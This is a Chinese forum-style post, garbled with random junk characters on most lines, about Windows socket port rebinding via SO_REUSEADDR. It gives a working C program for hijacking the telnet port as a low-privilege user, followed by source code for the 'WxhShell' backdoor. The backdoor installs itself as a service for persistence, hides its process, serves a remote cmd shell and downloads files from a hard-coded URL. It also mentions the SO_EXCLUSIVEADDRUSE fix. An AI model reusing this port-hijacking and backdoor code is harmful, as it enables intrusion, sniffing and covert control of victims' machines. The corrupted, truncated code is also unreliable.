在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
nH;^$b'LZ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
,9=a(j" -\>Xtix^-c saddr.sin_family = AF_INET;
4B) prQ3 !.9NJ2'8 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
L='GsjF0} KX{ S8_ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
&7;W=uF w*
v%S 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
p 5P<3( {4
*ob@w* 这意味着什么?意味着可以进行如下的攻击:
B&"fPi fk=_ Y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
ucyxvhH^- 0rF{"HM~ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
x6m21DW w /KH3v!G0 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
syMB~g 8USF;k 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
euQd J3C"W794} 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
-V(5U!^B 3HWI; 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
E:#VS~ 7,Nd[
oL*7 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
wF}/7b54 y;uk|#qnPS #include
w_6h
$"^x #include
TTS}, ` #include
L[D}pL= #include
!x[+rf DWORD WINAPI ClientThread(LPVOID lpParam);
D/rKqPp|! int main()
{um~] {
hmQD-E{Ab WORD wVersionRequested;
_ u/N#*D DWORD ret;
*ZAue. WSADATA wsaData;
#VtlXr>G BOOL val;
?NJ\l5' SOCKADDR_IN saddr;
bq]af.o* SOCKADDR_IN scaddr;
R:-^,/1 int err;
0Bb amU SOCKET s;
N_h)L` SOCKET sc;
2UA h^i-^ int caddsize;
flnoK%wi HANDLE mt;
V9][a DWORD tid;
//g~1( wVersionRequested = MAKEWORD( 2, 2 );
Vc}m_T]O err = WSAStartup( wVersionRequested, &wsaData );
hK?uGt
d? if ( err != 0 ) {
`G,\=c~{A printf("error!WSAStartup failed!\n");
y~jTI[kS return -1;
L=?Yc*vg }
}m(u oT~ saddr.sin_family = AF_INET;
&*r YY\I &?v^xAr?B //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
+!CG'qyN> c[f saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
^|(F|Z saddr.sin_port = htons(23);
XzkC ]e' if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
slXk < {
u+kXJ printf("error!socket failed!\n");
a8Nl'
f*0 return -1;
eE+zL~CE }
4cl}ouG val = TRUE;
ZF>zzi+@ //SO_REUSEADDR选项就是可以实现端口重绑定的
b1R%JY7/S if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
6l<q {
X*/jna"* printf("error!setsockopt failed!\n");
ZU5hHah.t return -1;
7jvf:#\LtL }
}]'Z~5T //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Quqts(Q) + //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
C5$1K'X@ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
i.C+{QH ULNU'6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
I5
"Z {
9m/v^ ret=GetLastError();
r1}YN<+,s printf("error!bind failed!\n");
W^Wr return -1;
=bi:<%" }
g kT`C listen(s,2);
cR*D)'/tl while(1)
~K 5eO- {
X3P~z8_ caddsize = sizeof(scaddr);
4 bw8^ //接受连接请求
!"Jne'f sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
RQ;pAO if(sc!=INVALID_SOCKET)
KC[ql}JP {
D37N*9} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
f![?og)I% if(mt==NULL)
sB"Oi|#lk {
7jQOwzj printf("Thread Creat Failed!\n");
*VG#SK break;
40w,:$ }
N7v7b<6 }
Tu"bbc CloseHandle(mt);
bH% k) }
b3N1SC:Wn closesocket(s);
SxI='z_S.f WSACleanup();
-W38#_y/\ return 0;
omevF>b; }
<l opk('7 DWORD WINAPI ClientThread(LPVOID lpParam)
P-o/ax {
U-&dn%Sq SOCKET ss = (SOCKET)lpParam;
|3<tDq@+ SOCKET sc;
W<_9*{|E; unsigned char buf[4096];
W$>srdG0$ SOCKADDR_IN saddr;
5|z>_f.^pS long num;
&@p _g8r# DWORD val;
c6.S jV DWORD ret;
(NR8B9qLN //如果是隐藏端口应用的话,可以在此处加一些判断
">_<L.,I //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
%
P
.(L saddr.sin_family = AF_INET;
K%h9'}pq>1 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
@~,&E*X! . saddr.sin_port = htons(23);
1zqIB")s> if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
+m8CN(c {
E!nEB(FD printf("error!socket failed!\n");
va 7I_J return -1;
jeXP|;#Una }
C,r[H5G# val = 100;
a|?& if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,<Zu4bww {
,j E'd'$ ret = GetLastError();
Fjch<gAofS return -1;
&\),V 1" }
BPs|qb- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
zW.I7Z0^ {
N1/)Fk-z ret = GetLastError();
ldk (zAB. return -1;
<cS"oBh&u0 }
cetHpU, if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
UVa:~c$U4 {
H2[VZ&Pg printf("error!socket connect failed!\n");
7~& closesocket(sc);
r*_z<^d closesocket(ss);
Bp&7:snGt return -1;
mqe83 k% }
r:;nv D while(1)
2MY-9(no {
F/O5Z?C? //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
&BTgISYi //如果是嗅探内容的话,可以再此处进行内容分析和记录
i82sMN1jl7 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
9BR/zQ2 num = recv(ss,buf,4096,0);
R. :~e if(num>0)
$.HZz send(sc,buf,num,0);
,'!x9 ` else if(num==0)
Rn?Yz^
1q break;
3lr9nBR num = recv(sc,buf,4096,0);
\"k[y+O],4 if(num>0)
I
"Qf};n send(ss,buf,num,0);
|p_\pa1&
else if(num==0)
^V6cx2M break;
7 6 nrDE }
\EI<1B closesocket(ss);
J34/rL/s closesocket(sc);
3QSA| return 0 ;
,jH<i.2R }
3T1t !q4/5 m{#?fR=9 0SS,fs<w3 ==========================================================
J n>3c P'}WmE'B}F 下边附上一个代码,,WXhSHELL
2:[
- J:D{5sE<| ==========================================================
[7Fx#o=da r{LrQ #include "stdafx.h"
}`fFzb ?`T0zpC #include <stdio.h>
|)5xm N] #include <string.h>
Z01BzIsR #include <windows.h>
S2+X/YeB #include <winsock2.h>
ke\gzP/ #include <winsvc.h>
"R< c #include <urlmon.h>
4C:-1gu7 LK>AC9ak< #pragma comment (lib, "Ws2_32.lib")
?58,Ja #pragma comment (lib, "urlmon.lib")
|; [XZ ZZ p9X{E%A<: #define MAX_USER 100 // 最大客户端连接数
r<MW8 #define BUF_SOCK 200 // sock buffer
[KcF0%a #define KEY_BUFF 255 // 输入 buffer
vD-m FC) , B90r7K: #define REBOOT 0 // 重启
QH>e_ #define SHUTDOWN 1 // 关机
Th.Mn}1%L RKi11z #define DEF_PORT 5000 // 监听端口
DjLSl,Z xVnk]:c #define REG_LEN 16 // 注册表键长度
)t#>fnN #define SVC_LEN 80 // NT服务名长度
]`+J!G, U3t$h // 从dll定义API
Nh^
lC typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Q$bi:EyJXc typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
1`& Yg( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
JX)%iJq# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
wjzR 8g0bQ Qr.SPNUFK // wxhshell配置信息
n=F|bW struct WSCFG {
OK] _.v} int ws_port; // 监听端口
rbt/b0ET char ws_passstr[REG_LEN]; // 口令
DYf3>xh>xb int ws_autoins; // 安装标记, 1=yes 0=no
(J6>]MZ#) char ws_regname[REG_LEN]; // 注册表键名
/}\Uw char ws_svcname[REG_LEN]; // 服务名
y1qJ char ws_svcdisp[SVC_LEN]; // 服务显示名
faIHmU char ws_svcdesc[SVC_LEN]; // 服务描述信息
_8 C:Md` char ws_passmsg[SVC_LEN]; // 密码输入提示信息
{,X}Btnwp int ws_downexe; // 下载执行标记, 1=yes 0=no
F[@M? char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
"L9yG: char ws_filenam[SVC_LEN]; // 下载后保存的文件名
xfzGixA aam6R/4 };
S"<"e\\}"_ ?9Hs,J // default Wxhshell configuration
1 !8
b9 struct WSCFG wscfg={DEF_PORT,
X~2L "xuhuanlingzhe",
b#
| 1,
gm8FmjZtf "Wxhshell",
'kb|! "Wxhshell",
rYI7V? "WxhShell Service",
K@<%Vc>L( "Wrsky Windows CmdShell Service",
Lk8[fFa4 "Please Input Your Password: ",
h uIvXl 1,
vT=?UTq "
http://www.wrsky.com/wxhshell.exe",
k.n-JS "Wxhshell.exe"
}lQ`ka };
4\Q
pS ix+sT|> // 消息定义模块
0ZAT;ea B char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
<=Z`]8 char *msg_ws_prompt="\n\r? for help\n\r#>";
Jfs_9g5 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
,ZWaTp*D/ char *msg_ws_ext="\n\rExit.";
rtn.^HF char *msg_ws_end="\n\rQuit.";
nj4G8/U-q char *msg_ws_boot="\n\rReboot...";
NsN =0ff char *msg_ws_poff="\n\rShutdown...";
I]iTD char *msg_ws_down="\n\rSave to ";
Yw6^(g8 ($T"m-e char *msg_ws_err="\n\rErr!";
elDt!9Pu char *msg_ws_ok="\n\rOK!";
_&R lR #qDMUN*i char ExeFile[MAX_PATH];
(:r80: int nUser = 0;
%~rXJrK HANDLE handles[MAX_USER];
MJ_]N+ int OsIsNt;
)|N_Q} V`& O` SERVICE_STATUS serviceStatus;
i"RBk% SERVICE_STATUS_HANDLE hServiceStatusHandle;
g4f:K=5: o,gH* // 函数声明
8`B]UcL) int Install(void);
*Sw1b7l int Uninstall(void);
-d)+G%{ int DownloadFile(char *sURL, SOCKET wsh);
p0sq{d~ int Boot(int flag);
o>jM4sk$ void HideProc(void);
Ad)::9K?J int GetOsVer(void);
6k+4R< int Wxhshell(SOCKET wsl);
W lHK void TalkWithClient(void *cs);
X:kr$ int CmdShell(SOCKET sock);
&|YJ?}, int StartFromService(void);
|kc#=b@l int StartWxhshell(LPSTR lpCmdLine);
sNHxUI x_oiPu.V VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
?B['8ju VOID WINAPI NTServiceHandler( DWORD fdwControl );
lN~V1(1B 5DS'22GW` // 数据结构和表定义
htu(R$GSM SERVICE_TABLE_ENTRY DispatchTable[] =
$d\>^Q {
2H9;4>ss {wscfg.ws_svcname, NTServiceMain},
)WH;G:$&" {NULL, NULL}
*-`-P };
[BZA1, Ka/ *Z4" // 自我安装
d1BE;9*/7 int Install(void)
^_ST#fFS {
FNR<=M char svExeFile[MAX_PATH];
m&a 8/5 HKEY key;
rWULv strcpy(svExeFile,ExeFile);
U#6<80Ke [I6&|Lz> // 如果是win9x系统,修改注册表设为自启动
nsN|[E8 if(!OsIsNt) {
{?RVw`g&f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
R5& R~1N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
U["-`:>jfp RegCloseKey(key);
z)F<{]% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
T*{nf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ZwOX ,D RegCloseKey(key);
bnZ~jOHl return 0;
bmQ-5SE }
~-2Gx
HO` }
h/pm$9A }
C
@nA* else {
I%M"I0FV GV0-"9uwX~ // 如果是NT以上系统,安装为系统服务
DIBoIWSuR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
AlA:MO]NM if (schSCManager!=0)
f)19sjAJk {
~A@HW!*Z@ SC_HANDLE schService = CreateService
lPZYd8 (
+x]3 -s schSCManager,
H;c3 x" wscfg.ws_svcname,
vf;&0j&` wscfg.ws_svcdisp,
bae\EaS
? SERVICE_ALL_ACCESS,
)>;V72 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
952l1c! SERVICE_AUTO_START,
*; :dJXR SERVICE_ERROR_NORMAL,
oM(8'{S= svExeFile,
KdXqW0nm NULL,
wV^c@.ga NULL,
?np3*;lw NULL,
0vZ49}mb) NULL,
v2jpao<K NULL
2(AuhZ> );
XiO~^=J if (schService!=0)
*2>kic
aH {
W9!K~g_ CloseServiceHandle(schService);
{RC&Ub> CloseServiceHandle(schSCManager);
:5[1Iepdn strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
@! {Y9k2 strcat(svExeFile,wscfg.ws_svcname);
e+<'=_x { if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
.]YTS RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
7q(A& RegCloseKey(key);
a.2Xl}2o5 return 0;
=/Ph]f9 }
IXv9mr?H} }
A)_HSIVi CloseServiceHandle(schSCManager);
K~6u5 a9s }
RXRoMg!-P }
T# .pi@PF> Ajm4q_ return 1;
.$]-::& }
5m2f\^U j;BlpRD} // 自我卸载
\l1==,wk int Uninstall(void)
1ne3CA= {
0k G\9 HKEY key;
xmi@
XL@t gy Ey=@L if(!OsIsNt) {
%JL P=( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
hsHbT^Qm RegDeleteValue(key,wscfg.ws_regname);
8Dkq+H93 RegCloseKey(key);
,lcSJ^yr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Y?ZzFd,i& RegDeleteValue(key,wscfg.ws_regname);
NXX/JJ+w RegCloseKey(key);
z/,&w_8,: return 0;
L+8{%\UPd }
*WfQi8 }
CE @[Z }
MdDL?ev else {
\Oxyc}& d:pGdr& . SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
s_}`TejK if (schSCManager!=0)
cH6++r {
:-Ml?:0_X SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
&dG^ M2g-F if (schService!=0)
>hY.F/[ {
H128T8?r[ if(DeleteService(schService)!=0) {
b|-S;cw CloseServiceHandle(schService);
F:og :[ CloseServiceHandle(schSCManager);
01~
nC@; return 0;
SuXeUiK.[ }
'+\t,>nRkl CloseServiceHandle(schService);
x~Dj2F ] }
JwQ/A[b CloseServiceHandle(schSCManager);
=~>g--^U }
WbwwI)1 }
wC?$P /gn!="J return 1;
@b!W8c 6 }
*-*SCA`E^= [RF 6mWQ // 从指定url下载文件
~jzjJ&O&
int DownloadFile(char *sURL, SOCKET wsh)
@N]]Cf>x {
M!aJKpf HRESULT hr;
&["e1ki char seps[]= "/";
)-X/"d char *token;
]h,iyWSs char *file;
wXtp(YwlH char myURL[MAX_PATH];
!;;7:!)P char myFILE[MAX_PATH];
< 0YoZSNGj f]_'icP strcpy(myURL,sURL);
0xY</S token=strtok(myURL,seps);
p zZ+!d while(token!=NULL)
=*R6O, {
O7p=N8 V file=token;
L5'?.9] token=strtok(NULL,seps);
gD2P)7: }
VeSQq mVFo2^%v GetCurrentDirectory(MAX_PATH,myFILE);
BOWBD@y strcat(myFILE, "\\");
<_c8F!K)T strcat(myFILE, file);
bObsj] send(wsh,myFILE,strlen(myFILE),0);
Nz}PcWF/ send(wsh,"...",3,0);
7Ie=(x8): hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
LmytO$?2( if(hr==S_OK)
fm L8n<1 return 0;
d8iq9AP\o else
6bPl(.(3 return 1;
<PiO %w{ ^qzH(~g{M }
Qj'Ik`o 9w~SzpJ% // 系统电源模块
F0~<p[9Nx int Boot(int flag)
&B]1 VZUp {
9VanR
::XX HANDLE hToken;
`ZbFky{ TOKEN_PRIVILEGES tkp;
Ch\__t*v! ":f]egq
- if(OsIsNt) {
S+#|j
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
|#sOa LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
-QwH| tkp.PrivilegeCount = 1;
px*1 3" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
VFzIBgJ3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
[(gXjt- if(flag==REBOOT) {
}8POm# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
tt#dO@G#Fe return 0;
6oKdw|(Q# }
'uE;8., else {
.T)wG;+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
TkJ[N4'0 return 0;
#f<v% }
u`&lTJgF/O }
RWGf]V]6 else {
TDUY& 1[ if(flag==REBOOT) {
#q h
, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
\H~zN]3^
return 0;
vP=68muD }
O =;jDWE else {
J/O{x if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
i")0 3b return 0;
8XG';K_ }
.r2*tB). }
9Msy=qvYG z~ywFk}KGd return 1;
R|v'+bv
}
H]pI$t3~ yIrJaS- // win9x进程隐藏模块
XbqMWQN* void HideProc(void)
]8}51y8 {
o<G#%9j y)U?.@ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
#c5jCy}n if ( hKernel != NULL )
fx(h fz {
Pc_aEBq pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
tAF?.\x"g ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
nYFrp)DLK FreeLibrary(hKernel);
FY ms]bv }
|K"Q>V2y ZZ7qSyBs? return;
7/
?QZN }
MUAs(M; ,wwO0,"y7 // 获取操作系统版本
kQ lU.J>^ int GetOsVer(void)
fT|A^ {
UXs)$ OSVERSIONINFO winfo;
xC,x_:R` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
xEp?|Q$ GetVersionEx(&winfo);
Dlq!:dF{& if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
l6y}>] return 1;
qh:Bc$S else
2lCFE) return 0;
3f] ;y<Km }
QYboX~g~p =29IHL3 // 客户端句柄模块
iN[x
*A|h int Wxhshell(SOCKET wsl)
=9X1 +x {
68Gywk3]=u SOCKET wsh;
BtZ]~S}v struct sockaddr_in client;
C/IF~<B DWORD myID;
D]]wJQU2 viG,z4Zf while(nUser<MAX_USER)
)63
$,y-;$ {
=c'4rJ$+ int nSize=sizeof(client);
kIVQ2hmv wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
H*'1bLzq if(wsh==INVALID_SOCKET) return 1;
iCE!TmDT jYFJk&c handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
[/CGV8+ if(handles[nUser]==0)
a:fP closesocket(wsh);
U}RBgPX! else
UowvkVa nUser++;
y
%Q. ( }
#cu{AdK WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
h6Z:+ `8ac;b return 0;
\</!kY*3@t }
kFv*>>X` t$18h2yOL // 关闭 socket
d )O^(y1r void CloseIt(SOCKET wsh)
e@Lxduq {
=~GP;=6 closesocket(wsh);
(Jk&U8y nUser--;
@PEFl" ExitThread(0);
<w{?b'/q }
/ce;-3+ c Mgd // 客户端请求句柄
#wI}93E void TalkWithClient(void *cs)
d+
jX49Vt {
_x!idf a%T`c/C
SOCKET wsh=(SOCKET)cs;
#;]#NqFX char pwd[SVC_LEN];
STp9Gh- char cmd[KEY_BUFF];
RpQeQM= char chr[1];
vR!+ 8sy$ int i,j;
QQM:[1;RT kAQ(8xV while (nUser < MAX_USER) {
"lI-/G dU$VRgP/ if(wscfg.ws_passstr) {
; :P4~R if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
2'DCB{Jv //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)l7XZ_gw' //ZeroMemory(pwd,KEY_BUFF);
;=Ma+d# i=0;
*an Ng<@ while(i<SVC_LEN) {
7$'AH:K jk9f{Iu // 设置超时
D\acA?d` fd_set FdRead;
{^WK#$] struct timeval TimeOut;
@>)VQf8s1 FD_ZERO(&FdRead);
-&Z!b!jN FD_SET(wsh,&FdRead);
w+g29 TimeOut.tv_sec=8;
y9r4]45 TimeOut.tv_usec=0;
>}+{;d int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
fg^AEn1i if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
#ibwD:{ fp)SZu_* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
g2vm]j pwd
=chr[0]; U?*zb
if(chr[0]==0xd || chr[0]==0xa) { yQ$irS?
pwd=0; ppyy0E^M
break; ^M'(/O1
} {821e&r
i++; CS7b3p!I
} u>*a@3$f
'J,UKK\5
// 如果是非法用户,关闭 socket (?jK|_
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2~kx3` Q
} ^kKLi
)9YDNVo*-
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZnEgU}g<2
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (Q*q#U
0D(8-H
while(1) { OS(`H5D
.z>/A/&+
ZeroMemory(cmd,KEY_BUFF); B\J[O5},
j&8YE7
// 自动支持客户端 telnet标准 6}^x#9\
j=0; sL$sj|" S
while(j<KEY_BUFF) { p&(0e,`z/
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uY]';OtG
cmd[j]=chr[0]; 7=P)` @
if(chr[0]==0xa || chr[0]==0xd) { M| (VM=~
cmd[j]=0; X+4Uh
I
break; 9@*pC@I)
} h4hAzFQ.s
j++; ?"yjgt7+y
} !j6k]BgZ
LT%~Cuf
// 下载文件 MhMiSsZ
if(strstr(cmd,"http://")) { o?baiOkH
send(wsh,msg_ws_down,strlen(msg_ws_down),0); .>"xp6
if(DownloadFile(cmd,wsh)) '12m4quO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hn/t'D3
else E`)e
;^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )s!A\a`vEd
} ,U{dqw8E{
else { +^AdD8U
E{,WpU
switch(cmd[0]) { 2*cNd}qr
>ywl()4O
// 帮助 8{>|%M
case '?': { T9yI%;D
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PaTOlHr
break; $DDO9
} 8-;.Ejz!\A
// 安装 ,RPb<3
B
case 'i': { f#s 6 'g
if(Install()) )z7CT|h7S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `wi+/^);
else 1uo-?k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VzT*^PFBg
break; (Y~/9a4X
} 59.$;Ip;g
// 卸载 ]3v)3Wp
case 'r': { u>'0Xo9R
if(Uninstall()) +3))G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L1kn="5
else ;~F*2)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z\0wQ;}
break; %DttkrhL
} T!x/^
// 显示 wxhshell 所在路径 E2zL-ft.
case 'p': { 4rhHvp
char svExeFile[MAX_PATH]; @WazSL;N
strcpy(svExeFile,"\n\r"); (Aw@}!
strcat(svExeFile,ExeFile); \; XJ$~>
send(wsh,svExeFile,strlen(svExeFile),0); ~BI`{/O=
break; 94!}
Z>
} _N5pxe`
// 重启 27Gff(
case 'b': { |;J`~H"K
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1feVFRx'
if(Boot(REBOOT)) Sstz_t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BsA4/Bf
else { mU[\//
closesocket(wsh); ^@x&n)nzP
ExitThread(0); T>'w]wi
} <SE-:T]sBz
break; N1Y
uLG:
} @.L#u#
// 关机 ^C
K!=oO
case 'd': { |21VOPBS
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $}4ao2
if(Boot(SHUTDOWN)) D?BegF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r;@0F
else { =bp'5h8_
closesocket(wsh); /%g@ ;
ExitThread(0); ~vYFQKrb
} "C}<umJ'
break; 92j[b_P
} (%6fZ
// 获取shell O}C*weU
case 's': { 6EY\
CmdShell(wsh); z&9ljQ
iF
closesocket(wsh); s58dHnj5+
ExitThread(0); hrX/,D -c
break; j~bNH~3
} `{ Ox=+]M
// 退出 c{kpgN
case 'x': { LTf)`SN %'
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o5]-Kuw`
CloseIt(wsh); *lDVV,T'}w
break; eJf]"-
} 8A0a/
7Lj
// 离开 }#<Rs
case 'q': { SOPair <r
send(wsh,msg_ws_end,strlen(msg_ws_end),0); hcW>R
closesocket(wsh); $mT)<N ;w
WSACleanup(); kh}h(z^
exit(1); fbM>jK
break; ShQ! '[J
} TQ![
} Lt~&K$t7~
} Eg&5tAyM
(0@b4}Z
// 提示信息 I>8_gp\1
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D<70rBf2
} n"?*"Ya
} ~|<'@B!6
a?ete9Q+
return; T:
My3&6
} y ~-v0/
N~b0 b;e
// shell模块句柄 {.U:Ce
int CmdShell(SOCKET sock) <0Y<9+g!
{ K:13t|
STARTUPINFO si; ,5U[#6^
ZeroMemory(&si,sizeof(si)); "kFNOyj3\
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NVQ.;" 2w
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pSAtn
PROCESS_INFORMATION ProcessInfo; ,n%b~.$:v5
char cmdline[]="cmd"; ,dd1/zm
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZG +FX:v
return 0; AP`1hz4].-
} ~[F7M{LS
K20Hh7cVJ
// 自身启动模式 u-jV@Tz
int StartFromService(void) -F(luRBS(W
{
K#6@sas
typedef struct UFZOu%Y
{ HP7~Zn)c
DWORD ExitStatus; 0`V=x+*,
DWORD PebBaseAddress; 0i5S=L`j
DWORD AffinityMask; $U/lm;{%
DWORD BasePriority; *"OlO}o
ULONG UniqueProcessId; *N: $,xf
ULONG InheritedFromUniqueProcessId; Z0M,YSn z
} PROCESS_BASIC_INFORMATION; UvU@3[fw
Wm{ebx
